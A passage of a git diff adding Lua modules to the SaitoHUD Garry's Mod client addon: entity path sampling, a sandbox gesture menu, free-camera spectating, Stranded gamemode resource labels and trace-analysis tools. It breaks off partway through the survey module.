5 + local currentPos = self.ent:GetPos() + local lastPt = nil + + surface.SetDrawColor(self.color.r, self.color.g, self.color.b, 255) + + for k, pt in pairs(self.points) do + if lastPt != nil and lastPt != pt then + local from = lastPt:ToScreen() + local to = pt:ToScreen() + + if from.visible and to.visible then + if sampleFade:GetBool() then + surface.SetDrawColor(self.color.r, self.color.g, self.color.b, + (k / #self.points) * 255) + end + + surface.DrawLine(from.x, from.y, to.x, to.y) + + if sampleThick:GetBool() then + surface.DrawLine(from.x + 1, from.y, to.x + 1, to.y) + surface.DrawLine(from.x + 1, from.y + 1, to.x + 1, to.y + 1) + surface.DrawLine(from.x, from.y + 1, to.x, to.y + 1) + end + + if sampleNodes:GetBool() then + surface.DrawOutlinedRect(to.x - dim / 2, to.y - dim / 2, dim, dim) + end + end + end + + lastPt = pt + end + + if lastPt != nil and lastPt != currentPos then + local from = lastPt:ToScreen() + local to = currentPos:ToScreen() + if from.visible and to.visible then + surface.DrawLine(from.x, from.y, to.x, to.y) + + if sampleThick:GetBool() then + surface.DrawLine(from.x + 1, from.y, to.x + 1, to.y) + surface.DrawLine(from.x + 1, from.y + 1, to.x + 1, to.y + 1) + surface.DrawLine(from.x, from.y + 1, to.x, to.y + 1) + end + end + end + + return true +end + +--- Adds and removes hooks as required. +local function Rehook() + if #SaitoHUD.Samplers > 0 then + hook.Add("Think", "SaitoHUD.Sampling", LogSamples) + + if sampleDraw:GetBool() then + hook.Add("HUDPaint", "SaitoHUD.Sampling", DrawSamples) + else + SaitoHUD.RemoveHook("HUDPaint", "SaitoHUD.Sampling") + end + else + SaitoHUD.RemoveHook("Think", "SaitoHUD.Sampling") + SaitoHUD.RemoveHook("HUDPaint", "SaitoHUD.Sampling") + end +end + +--- Remove an entity from being sampled. +-- @param ent Entity +function SaitoHUD.RemoveSample(ent) + for k, ctx in pairs(SaitoHUD.Samplers) do + if ctx.ent == ent then + table.remove(SaitoHUD.Samplers, k) + end + end + + Rehook() +end + +--- Add a sampler to the list for an entity. +-- @param ent Entity +function SaitoHUD.AddSample(ent) + for k, ctx in pairs(SaitoHUD.Samplers) do + if ctx.ent == ent then + return + end + end + + local ctx = SamplingContext:new(ent, nil, sampleRandomColor:GetBool()) + table.insert(SaitoHUD.Samplers, ctx) + + Rehook() +end + +--- Sets the current sample list to sample only the given entity. +-- @param ent Entity +function SaitoHUD.SetSample(ent) + local ctx = SamplingContext:new(ent, nil, sampleRandomColor:GetBool()) + SaitoHUD.Samplers = {ctx} + + Rehook() +end + +--- Check to see whether a sampler exists for an entity. +-- @param ent Entity +-- @return Whether it exists +function SaitoHUD.HasSample(ent) + for k, ctx in pairs(SaitoHUD.Samplers) do + if ctx.ent == ent then + return true + end + end + return false +end + +--- Collects data points, and removes any deleted entities from the sample list. +function SaitoHUD.LogSamples() + for k, ctx in pairs(SaitoHUD.Samplers) do + if not ctx:Log() then + table.remove(SaitoHUD.Samplers, k) + end + end +end + +--- Draws the sample on the screen, and removes any entities being sampled if the +-- entities are no longer valid. +function SaitoHUD.DrawSamples() + for k, ctx in pairs(SaitoHUD.Samplers) do + if not ctx:Draw() then + table.remove(SaitoHUD.Samplers, k) + end + end +end + +--- Console command to sample. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function Sample(ply, cmd, args) + if not sampleMultiple:GetBool() then + if table.Count(SaitoHUD.Samplers) > 0 then + LocalPlayer():ChatPrint("Note: Multiple entity sampling is disabled") + end + SaitoHUD.Samplers = {} + end + + if table.Count(args) == 0 then + local tr = SaitoHUD.GetRefTrace() + + if IsValid(tr.Entity) then + if SaitoHUD.HasSample(tr.Entity) then + SaitoHUD.RemoveSample(tr.Entity) + LocalPlayer():ChatPrint("No longer sampling entity #" .. tr.Entity:EntIndex() .. ".") + else + SaitoHUD.AddSample(tr.Entity) + LocalPlayer():ChatPrint("Sampling entity #" .. tr.Entity:EntIndex() .. ".") + end + else + LocalPlayer():ChatPrint("Nothing was found in an eye trace!") + end + elseif table.Count(args) == 1 then + local m = SaitoHUD.MatchPlayerString(args[1]) + if m then + SaitoHUD.AddSample(m) + LocalPlayer():ChatPrint("Sampling player named " .. m:GetName() .. ".") + else + LocalPlayer():ChatPrint("No player was found by that name.") + end + else + Msg("Invalid number of arguments\n") + end +end + +--- Console command to sample by entity filter. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function SampleFilter(ply, cmd, args) + if not sampleMultiple:GetBool() then + LocalPlayer():ChatPrint("Note: Multiple entity sampling is disabled") + return + end + + local filter = SaitoHUD.entityFilter.Build(args, true) + local refPos = SaitoHUD.GetRefPos() + local count = 0 + + for _, ent in pairs(ents.GetAll()) do + if IsValid(ent) then + if filter.f(ent, refPos) then + SaitoHUD.AddSample(ent) + count = count + 1 + end + end + end + + Msg(tostring(count) .. " entities were matched\n") +end + +--- Console commands to sample by ID. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function SampleID(ply, cmd, args) + if not sampleMultiple:GetBool() then + if table.Count(SaitoHUD.Samplers) > 0 then + LocalPlayer():ChatPrint("Note: Multiple entity sampling is disabled") + end + SaitoHUD.Samplers = {} + end + + if table.Count(args) == 1 then + local idx = tonumber(args[1]) + local m = ents.GetByIndex(idx) + if IsValid(m) then + SaitoHUD.AddSample(m) + LocalPlayer():ChatPrint("Sampling entity of class " .. m:GetClass() .. ".") + else + LocalPlayer():ChatPrint("No entity was found by that index.") + end + else + Msg("Invalid number of arguments\n") + end +end + +--- Console command to remove a sample. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function RemoveSample(ply, cmd, args) + if table.Count(args) == 0 then + local tr = SaitoHUD.GetRefTrace() + + if IsValid(tr.Entity) then + SaitoHUD.RemoveSample(tr.Entity) + LocalPlayer():ChatPrint("No longer sampling entity #" .. tr.Entity:EntIndex() .. ".") + else + LocalPlayer():ChatPrint("Nothing was found in an eye trace!") + end + elseif table.Count(args) == 1 then + local m = SaitoHUD.MatchPlayerString(args[1]) + if m then + SaitoHUD.RemoveSample(m) + LocalPlayer():ChatPrint("No longer sampling player named " .. m:GetName() .. ".") + else + LocalPlayer():ChatPrint("No player was found by that name.") + end + else + Msg("Invalid number of arguments\n") + end +end + +--- Console command to remove a sample by its ID. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function RemoveSampleID(ply, cmd, args) + if table.Count(args) == 1 then + local idx = tonumber(args[1]) + local m = ents.GetByIndex(idx) + if IsValid(m) then + SaitoHUD.RemoveSample(m) + LocalPlayer():ChatPrint("No longer sampling entity of class " .. m:GetClass() .. ".") + else + LocalPlayer():ChatPrint("No entity was found by that index.") + end + else + Msg("Invalid number of arguments\n") + end +end + +--- Console command to remove samples entity filter. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function RemoveSampleFilter(ply, cmd, args) + local filter = SaitoHUD.entityFilter.Build(args, true) + local refPos = SaitoHUD.GetRefPos() + local count = 0 + + for _, ent in pairs(ents.GetAll()) do + if IsValid(ent) then + if filter.f(ent, refPos) then + if SaitoHUD.HasSample(ent) then + SaitoHUD.RemoveSample(ent) + count = count + 1 + end + end + end + end + + Msg(tostring(count) .. " samplers were removed\n") +end + +--- Console command to clear samples. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function ClearSamples(ply, cmd, args) + if table.Count(SaitoHUD.Samplers) == 0 then + LocalPlayer():ChatPrint("No samplers are active.") + else + LocalPlayer():ChatPrint(table.Count(SaitoHUD.Samplers) .. " sampler(s) removed.") + SaitoHUD.Samplers = {} + end +end + +--- Console command to list the objects being sampled. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function ListSamples(ply, cmd, args) + if #SaitoHUD.Samplers > 0 then + for k, ctx in pairs(SaitoHUD.Samplers) do + if IsValid(ctx.ent) then + print(string.format("#%d %s (%s)", ctx.ent:EntIndex(), ctx.ent:GetClass(), + ctx.ent:GetModel())) + end + end + else + print("Nothing is being sampled.") + end +end + +--- Hook to log and draw samples. +function LogSamples() + if CurTime() - lastSample > sampleResolution:GetFloat() / 1000 then + SaitoHUD.LogSamples() + lastSample = CurTime() + end +end + +--- Hook to log and draw samples. +function DrawSamples() + if sampleDraw:GetBool() and not SaitoHUD.AntiUnfairTriggered() then + SaitoHUD.DrawSamples(true) + end +end + +concommand.Add("sample", Sample, SaitoHUD.ConsoleAutocompletePlayer) +concommand.Add("sample_filter", SampleFilter) +concommand.Add("sample_id", SampleID) +concommand.Add("sample_remove", RemoveSample, SaitoHUD.ConsoleAutocompletePlayer) +concommand.Add("sample_remove_id", RemoveSampleID) +concommand.Add("sample_remove_filter", RemoveSampleFilter) +concommand.Add("sample_clear", ClearSamples) +concommand.Add("sample_list", ListSamples) + +-- Need to rehook if sample_draw changes +cvars.AddChangeCallback("sample_draw", function(cv, old, new) Rehook() end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sandbox.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sandbox.lua new file mode 100644 index 0000000..35c1e9e --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sandbox.lua @@ -0,0 +1,91 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- `` +-- $Id$ + +local menus = {} + +local function AddMenu(Filename) + local data = file.Read("saitohud/sandbox/"..Filename, "DATA") + local newMenu = {} + + if data ~= nil and data ~= "" then + data = SaitoHUD.ParseCSV(data) + + if #data > 0 then + -- Remove the header + if data[1][1] == "Title" then + table.remove(data, 1) + end + + for _, v in pairs(data) do + table.insert(newMenu, {text = v[1], action = v[2]}) + end + end + else + -- Default menu + --table.insert(newMenu, {text = "Easy Precision Tool", action = "tool_easy_precision"}) + table.insert(newMenu, {text = "Weld", action = "tool_weld"}) + table.insert(newMenu, {text = "Remover", action = "tool_remover"}) + table.insert(newMenu, {text = "Color", action = "tool_colour"}) + table.insert(newMenu, {text = "No Collide", action = "tool_nocollide"}) + table.insert(newMenu, {text = "Adv Duplicator", action = "tool_adv_duplicator"}) + --table.insert(newMenu, {text = "Expression 2 Tool", action = "tool_wire_expression2"}) + --table.insert(newMenu, {text = "Improved Wire Tool", action = "tool_wire_improved"}) + --table.insert(newMenu, {text = "Wire Debugger Tool", action = "tool_wire_debugger"}) + end + menus[Filename] = newMenu +end +--- Loads the sandbox menu from file. +-- A default one will be used if the file does not exist. +function SaitoHUD.LoadSandboxMenu() + local files = file.Find("saitohud/sandbox/*.txt", "DATA") + print("Loading Sandbox Menu") + + print("Creating Menu: menu.txt"); + AddMenu("menu.txt") + for k, v in pairs(files) do + if string.sub(v,1,5) == "menu_" then + print("Creating Menu: "..v); + AddMenu(v) + end + end +end + +function SaitoHUD.isGestMenu(Menu) + for k,v in pairs(menus) do + if k == Menu then return true end + end + + return false +end + +-- Hook for the menu +local function SandboxMenu(numItems, menu) + -- We only want this gesture menu to appear if there's nothing else + if numItems > 1 then + return {} + end + + if menu == "" or menu == nil then menu = "menu.txt" end + return menus[menu] +end + +hook.Add("SaitoHUDProvideMenu", "SaitoHUD.Sandbox", SandboxMenu) + +-- Load the menu! +SaitoHUD.LoadSandboxMenu() \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/spectate.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/spectate.lua new file mode 100644 index 0000000..1f6c782 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/spectate.lua @@ -0,0 +1,207 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("Trebuchet22", { + font = "Trebuchet MS", + size = 22, + weight = 900, + antialias = true, + additive = false, + } +) + + + + +local spectateLock = CreateClientConVar("free_spectate_lock", "1", true, false) +local spectateRate = CreateClientConVar("free_spectate_rate", "1000", true, false) +local spectateSlowFactor = CreateClientConVar("free_spectate_slow_factor", "4", true, false) +local spectateNotice = CreateClientConVar("free_spectate_notice", "1", true, false) + +local viewPos = Vector() +local viewAng = Angle() +local spectating = false +local origViewAngle = Angle() +local listenPresses = { + "+forward", "+back", "+moveleft", "+moveright", + "+jump", "+speed", "+duck", "+walk" +} +local keyPressed = {} + +------------------------------------------------------------ +-- Hooks +------------------------------------------------------------ + +local data = {} + +--- Control view angle. +local function CreateMove(usercmd) + viewAng.p = math.Clamp(viewAng.p + usercmd:GetMouseY() * 0.025, -90, 90) + viewAng.y = viewAng.y - usercmd:GetMouseX() * 0.025 + + if spectateLock:GetBool() then + usercmd:SetViewAngles(origViewAngle) + else + data.start = viewPos + data.endpos = viewPos + viewAng:Forward() * 50000 + data.filter = LocalPlayer() + local tr = util.TraceLine(data) + usercmd:SetViewAngles((tr.HitPos - LocalPlayer():GetShootPos()):Angle()) + end +end + +--- Handle key presses. +local function PlayerBindPress(ply, bind, pressed) + for _, key in pairs(listenPresses) do + if bind:find(key) then + keyPressed[key] = pressed + return true + end + end + + if spectateLock:GetBool() and bind:find("+attack") or + bind:find("+attack2") or bind:find("+use") or bind:find("+reload") then + return true + end +end + +--- Set the view. +local function CalcView(ply, origin, angles, fov) + local view = {} + view.origin = viewPos + view.angles = viewAng + view.fov = fov + return view +end + +--- Do movement. +local function Think() + local rate = keyPressed["+speed"] and spectateRate:GetFloat() * 2 or spectateRate:GetFloat() + if keyPressed["+walk"] then rate = rate / spectateSlowFactor:GetFloat() end + + if keyPressed["+forward"] then viewPos = viewPos + viewAng:Forward() * rate * RealFrameTime() end + if keyPressed["+back"] then viewPos = viewPos - viewAng:Forward() * rate * RealFrameTime() end + if keyPressed["+moveleft"] then viewPos = viewPos - viewAng:Right() * rate * RealFrameTime() end + if keyPressed["+moveright"] then viewPos = viewPos + viewAng:Right() * rate * RealFrameTime() end + if keyPressed["+jump"] then viewPos = viewPos + viewAng:Up() * rate * RealFrameTime() end + if keyPressed["+duck"] then viewPos = viewPos - viewAng:Up() * rate * RealFrameTime() end +end + +--- HUDPaint function. +local function HUDPaint() + if not spectateNotice:GetBool() then return end + + local text = "Free Spectating" + + if not spectateLock:GetBool() then + text = "(UNLOCKED) Free Spectating" + end + + draw.SimpleText(text, "Trebuchet22", ScrW() / 2 + 1, ScrH() * .8 + 1, + Color(0, 0, 0, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) + draw.SimpleText(text, "Trebuchet22", ScrW() / 2, ScrH() * .8, + color_white, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) +end + +------------------------------------------------------------ +-- Override +------------------------------------------------------------ + +local pMeta = FindMetaTable("Player") + +-- Have to protect old trace functions +if not pMeta._GetEyeTrace then + pMeta._GetEyeTrace = pMeta.GetEyeTrace +end + +if not util._GetPlayerTrace then + util._GetPlayerTrace = util.GetPlayerTrace +end + + +local data = {} -- util.GetEyeTrace() +local lastTrace = nil +local lastTraceTime = 0 + +function pMeta:GetEyeTrace() + local localPly = LocalPlayer() + + if not spectating or self ~= localPly then + return self:_GetEyeTrace() + end + + -- No point to do traces more than needed + if lastTraceTime == CurTime() then + return lastTrace + end + + data.start = viewPos + data.endpos = viewPos + viewAng:Forward() * 16384 + data.filter = localPly + lastTrace = util.TraceLine(data) + return lastTrace +end + +local data = {} -- util.GetPlayerTrace() + +function util.GetPlayerTrace(ply) + local localPly = LocalPlayer() + + if spectating and ply == localPly then + return localPly:GetEyeTrace() + else + return util._GetPlayerTrace(ply) + end +end + +local data = {} -- SaitoHUD.GetRefTrace() + +function SaitoHUD.GetRefTrace() + return LocalPlayer():GetEyeTrace() +end + +function SaitoHUD.GetRefPos() + return spectating and viewPos or LocalPlayer():GetPos() +end + +------------------------------------------------------------ +-- Control +------------------------------------------------------------ + +local function ToggleSpectate(ply, cmd, args) + spectating = not spectating + + local localPly = LocalPlayer() + origViewAngle = localPly:EyeAngles() + viewPos = localPly:GetShootPos() + viewAng = localPly:EyeAngles() -- Need to make a copy + + SaitoHUD.HookIfTrue(spectating, "SaitoHUD.Spectate", { + CreateMove = CreateMove, + PlayerBindPress = PlayerBindPress, + CalcView = CalcView, + Think = Think, + ShouldDrawLocalPlayer = function() return true end, + HUDPaint = HUDPaint, + }, true) +end + +concommand.Add("free_spectate", ToggleSpectate) +concommand.Add("toggle_spectate", ToggleSpectate) diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/stranded.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/stranded.lua new file mode 100644 index 0000000..a1971b2 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/stranded.lua @@ -0,0 +1,304 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local checkSeeable = CreateClientConVar("stranded_res_seeable", "1", true, false) +local resDistance = CreateClientConVar("stranded_res_distance", "500", true, false) + +local itemColors = { + ["Stone"] = Color(217, 217, 217), + ["Iron"] = Color(138, 162, 207), + ["Iron Ore"] = Color(71, 85, 110), + ["Copper"] = Color(219, 194, 116), + ["Copper Ore"] = Color(99, 86, 45), + ["Melon Seeds"] = Color(158, 255, 97), + ["Orange Seeds"] = Color(255, 149, 0), + ["Banana Seeds"] = Color(255, 244, 97), + ["Grain Seeds"] = Color(191, 184, 136), + ["Berries"] = Color(255, 0, 0), + ["Sprouts"] = Color(0, 186, 6), + ["Sand"] = Color(232, 230, 183), + ["Herbs"] = Color(162, 179, 121), + ["Salmon"] = Color(255, 181, 203), + ["Shark"] = Color(97, 95, 161), + ["Wood"] = Color(148, 101, 0), + ["Bass"] = Color(173, 214, 255), + ["Dead Bird"] = Color(41, 41, 41), + ["Water Bottles"] = Color(0, 128, 255), + ["Trout"] = Color(0, 154, 196), + ["Dead Headcrab"] = Color(222, 201, 151), + ["Metal Scrap"] = Color(82, 82, 82), + ["Charcoal"] = Color(120, 120, 120), + ["Sulphur"] = Color(255, 247, 0), + ["Urine Bottles"] = Color(153, 148, 0), + ["Medicine"] = Color(255, 0, 204), + ["Saltpetre"] = Color(255, 255, 255), + ["Gunslide"] = Color(241, 205, 255), + ["Gungrip"] = Color(89, 45, 255), + ["Gunbarrel"] = Color(84, 72, 60), + ["Gunmagazine"] = Color(77, 77, 77), + ["Gunpowder"] = Color(77, 77, 77), + ["Raw Meat"] = Color(255, 163, 169), + ["Glass"] = Color(204, 238, 255), + ["Plastic"] = Color(227, 227, 227), +} + +local plantIDs = { + ["Melon_Seeds"] = "melon", + ["Orange_Seeds"] = "orange", + ["Banana_Seeds"] = "banana", +} + +local function HUDPaint() + local ply = LocalPlayer() + local selfPos = ply:GetPos() + local shootPos = ply:GetShootPos() + + for _, v in ipairs(ents.GetAll()) do + if v:GetClass() == "gms_resourcedrop" then + local pos = v:LocalToWorld(v:OBBCenter()) + local distance = selfPos:Distance(pos) + + local data = {} + data.start = selfPos + data.endpos = pos + data.filter = ply + local tr = util.TraceLine(data) + + if distance <= resDistance:GetFloat() and (not checkSeeable:GetBool() or + tr.Entity == v) then + local text = (v.Res or "Loading") .. ": " .. tostring(v.Amount or 0) + local drawLoc = pos:ToScreen() + surface.SetFont("ChatFont") + local w, h = surface.GetTextSize(text) + draw.RoundedBox(4, drawLoc.x - (w/2) - 3, drawLoc.y - (h/2) - 3, + w + 6, h + 6, Color(50, 50, 50, 200)) + local r, g, b = itemColors[v.Res] and itemColors[v.Res] or + HSVToColor((string.byte(text) * 5 + string.byte(text, 3) * 7) % 360, 1, 1) + surface.SetTextColor(r, g, b, 200) + surface.SetTextPos(drawLoc.x - (w/2), drawLoc.y - (h/2)) + surface.DrawText(text) + end + end + + if CheckName(v, GMS.StructureEntities) then + local pos = v:LocalToWorld(v:OBBCenter()) + local minimum = v:LocalToWorld(v:OBBMins()) + local maximum = v:LocalToWorld(v:OBBMaxs()) + local loc = Vector(0, 0, 0) + local distance = selfPos:Distance(pos) + local range = (maximum - minimum):Length() + if range < 200 then range = 200 end + + local data = {} + data.start = selfPos + data.endpos = pos + data.filter = ply + local tr = util.TraceLine(data) + + if distance <= range and (tr.Entity == v or not tr.Hit) then + local text = v:GetNetworkedString("Name") or "Loading" + if v:GetClass() == "gms_buildsite" then + text = text .. v:GetNetworkedString('Resources') + end + + if minimum.z <= maximum.z then + if shootPos.z > maximum.z then + loc.z = maximum.z + elseif shootPos.z < minimum.z then + loc.z = minimum.z + else + loc.z = shootPos.z + end + else + if shootPos.z < maximum.z then + loc.z = maximum.z + elseif shootPos.z > minimum.z then + loc.z = minimum.z + else + loc.z = shootPos.z + end + end + + local drawLoc = Vector(pos.x, pos.y, loc.z):ToScreen() + surface.SetFont("ChatFont") + local w, h = surface.GetTextSize(text) + draw.RoundedBox(4, drawLoc.x - (w/2) - 3, drawLoc.y - (h/2) - 3, + w + 6, h + 6, Color(50, 50, 50, 200)) + surface.SetTextColor(255, 255, 255, 200) + surface.SetTextPos(drawLoc.x - (w/2), drawLoc.y - (h/2)) + surface.DrawText(text) + end + end + end +end + +local lastAttack2 = false + +local function HandleKey(ply, key) + if input.IsMouseDown(MOUSE_RIGHT) then + if not lastAttack2 and ply:GetActiveWeapon():GetClass() == "gms_hands" then + local shootPos = ply:GetShootPos() + local eyeAngles = ply:EyeAngles() + + local data = {} + data.start = shootPos + data.endpos = shootPos + eyeAngles:Forward() * 200 + data.filter = ply + + local tr = util.TraceLine(data) + if tr.Hit and IsValid(tr.Entity) then + if tr.Entity:GetClass() == "gms_resourcedrop" and tr.Entity.Res then + local id = tr.Entity.Res:gsub(" ", "_") + if Resources[id] then + ply:ChatPrint("Dropping " .. tr.Entity.Res .. ".") + RunConsoleCommand("say", string.format("!drop %s", id)) + else + ply:ChatPrint("You don't have " .. tr.Entity.Res .. ".") + end + end + end + end + end + lastAttack2 = input.IsMouseDown(MOUSE_RIGHT) +end + +local function StrandedMenu(numHooks) + local ply = LocalPlayer() + local shootPos = ply:GetShootPos() + + local menu = {} + + -- Drop resources + for id, num in pairs(Resources) do + if num > 0 then + local name = id:gsub("_", " ") + table.insert(menu, { + ["text"] = string.format("Drop %s (%d)", name, num), + ["action"] = function() + RunConsoleCommand("say", string.format("!drop %s", id)) + end, + ["bgColor"] = Color(84, 58, 39, 255), + }) + end + end + + local bgColor = Color(100, 100, 39, 255) + + -- Drop weapon + table.insert(menu, { + ["text"] = "Drop Weapon", + ["action"] = function() + RunConsoleCommand("say", "!dropweapon") + end, + ["bgColor"] = Color(84, 58, 39, 255), + }) + + local bgColor = Color(49, 84, 39, 255) + + local data = {} + data.start = shootPos + data.endpos = shootPos + ply:GetAimVector() * 150 + data.filter = ply + + -- Take resources + local tr = util.TraceLine(data) + if tr.Hit and IsValid(tr.Entity) then + if ply:GetPos():Distance(tr.Entity:LocalToWorld(tr.Entity:OBBCenter())) < 65 and + tr.Entity:GetClass() == "gms_resourcedrop" and tr.Entity.Res then + local name = tr.Entity.Res:gsub("_", " ") + local id = name:gsub(" ", "_") + + if tr.Entity.Amount > 1 then + table.insert(menu, { + ["text"] = string.format("Take %s (leave 1)", name), + ["action"] = function() + RunConsoleCommand("say", string.format("!take %s %d", id, tr.Entity.Amount - 1)) + end, + ["bgColor"] = Color(49, 84, 39, 255), + }) + end + + for _, num in pairs({1, 2, 5, 10, 50, 100}) do + if num > tr.Entity.Amount then break end + table.insert(menu, { + ["text"] = string.format("Take %s (%d/%d)", name, num, tr.Entity.Amount), + ["action"] = function() + RunConsoleCommand("say", string.format("!take %s %d", id, num)) + end, + ["bgColor"] = Color(49, 84, 39, 255), + }) + end + end + end + + -- Plant + local foundPlant = false + for id, cmd in pairs(plantIDs) do + if Resources[id] and Resources[id] > 0 then + table.insert(menu, { + ["text"] = "Plant Anything", + ["action"] = function() + SaitoHUD.StrandedPlantAnything() + end, + ["bgColor"] = Color(41, 89, 75, 255), + }) + break + end + end + + return menu +end + +local function SetUp() + if GMS then + function SaitoHUD.StrandedPlantAnything() + local foundPlant = false + + for id, cmd in pairs(plantIDs) do + if Resources[id] and Resources[id] > 0 then + RunConsoleCommand("say", "!" .. cmd) + foundPlant = true + break + end + end + + if not foundPlant then + SaitoHUD.ShowHint("Nothing to plant!") + end + end + + function SaitoHUD.StrandedDropSomething() + for id, num in pairs(Resources) do + if num > 0 then + RunConsoleCommand("say", "!drop " .. id) + break + end + end + end + + hook.Add("SaitoHUDProvideMenu", "SaitoHUD.Stranded", StrandedMenu) + hook.Add("HUDPaint", "SaitoHUDStrandedHUDPaint", HUDPaint) + SaitoHUD.RemoveHook("HUDPaint", "GMS_ResourceDropsHUD") + hook.Add("KeyRelease", "SaitoHUDStrandedKeyRelease", HandleKey) + hook.Add("KeyPress", "SaitoHUDStrandedKeyPress", HandleKey) + end +end + +hook.Add("Initialize", "SaitoHUDStrandedInitialize", SetUp) +SetUp() \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/survey.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/survey.lua new file mode 100644 index 0000000..ea7b77c --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/survey.lua @@ -0,0 +1,284 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("DefaultSmallDropShadow", { + font = "Tahoma", + size = 11, + weight = 0, + antialias = true, + additive = false, + shadow = true, + } +) + + +local orthoTraceText = CreateClientConVar("ortho_trace_text", "1", true, false) +local reflectTraceNodes = CreateClientConVar("reflect_trace_nodes", "1", true, false) +local reflectTraceMultiple = CreateClientConVar("reflect_trace_multiple", "0", true, false) +local reflectTraceColorProgression = CreateClientConVar("reflect_trace_color_progression", "0", true, false) + +local orthogonalTraces = {} +local reflectionLines = {} + +local Rehook = nil + +--- Console commands to do an ortho trace. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function OrthoTrace(ply, cmd, args) + local start = SaitoHUD.GetRefTrace() + + local data = {} + data.start = start.HitPos + data.endpos = start.HitNormal * 100000 + start.HitPos + data.filter = LocalPlayer() + local final = util.TraceLine(data) + + table.insert(orthogonalTraces, {start.HitPos, final.HitPos}) + + Rehook() +end + +--- Console commands clear the list of ortho traces. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function OrthoTraceClear(ply, cmd, args) + orthogonalTraces = {} + + Rehook() +end + +local function CalculateReflectionAnalysis(startPos, endPos, numReflects, ent) + local lines = {} + + local filter = ent and {ent, LocalPlayer()} or LocalPlayer() + local vec = endPos - startPos + local data = {} + data.start = startPos + data.endpos = endPos + data.filter = filter + local tr = util.TraceLine(data) + + table.insert(lines, {tr.StartPos, tr.HitPos}) + + for i = 1, numReflects do + local v = vec - 2 * vec:DotProduct(tr.HitNormal) * tr.HitNormal + local lastPoint = tr.HitPos + tr = util.QuickTrace(tr.HitPos + v:GetNormal() * -0.01, v:GetNormal() * 100000, filter) + vec = tr.HitPos - tr.StartPos + table.insert(lines, {lastPoint, tr.HitPos}) + end + + return lines +end + +--- Console commands to do reflection analysis. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ReflectAnalysis(ply, cmd, args) + local numReflects = tonumber(args[1]) + + if #args ~= 1 then + Msg("Invalid number of arguments\n") + return + elseif numReflects < 1 then + Msg("Minimum number of reflections: 1\n") + return + end + + if not reflectTraceMultiple:GetBool() then reflectionLines = {} end + + local tr = SaitoHUD.GetRefTrace() + + table.insert(reflectionLines, { + Lines = CalculateReflectionAnalysis(tr.StartPos, tr.HitPos, numReflects) + }) + + Rehook() +end + +--- Console commands to do reflection analysis from an entity. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ReflectAnalysisEntity(ply, cmd, args) + local numReflects = tonumber(args[1]) + local ang = SaitoHUD.ParseConcmdAngle(args, 1) + + if #args < 2 or #args > 4 then + Msg("Invalid number of arguments\n") + return + elseif numReflects < 1 then + Msg("Minimum number of reflections: 1\n") + return + end + + local tr = SaitoHUD.GetRefTrace() + + if IsValid(tr.Entity) then + if not 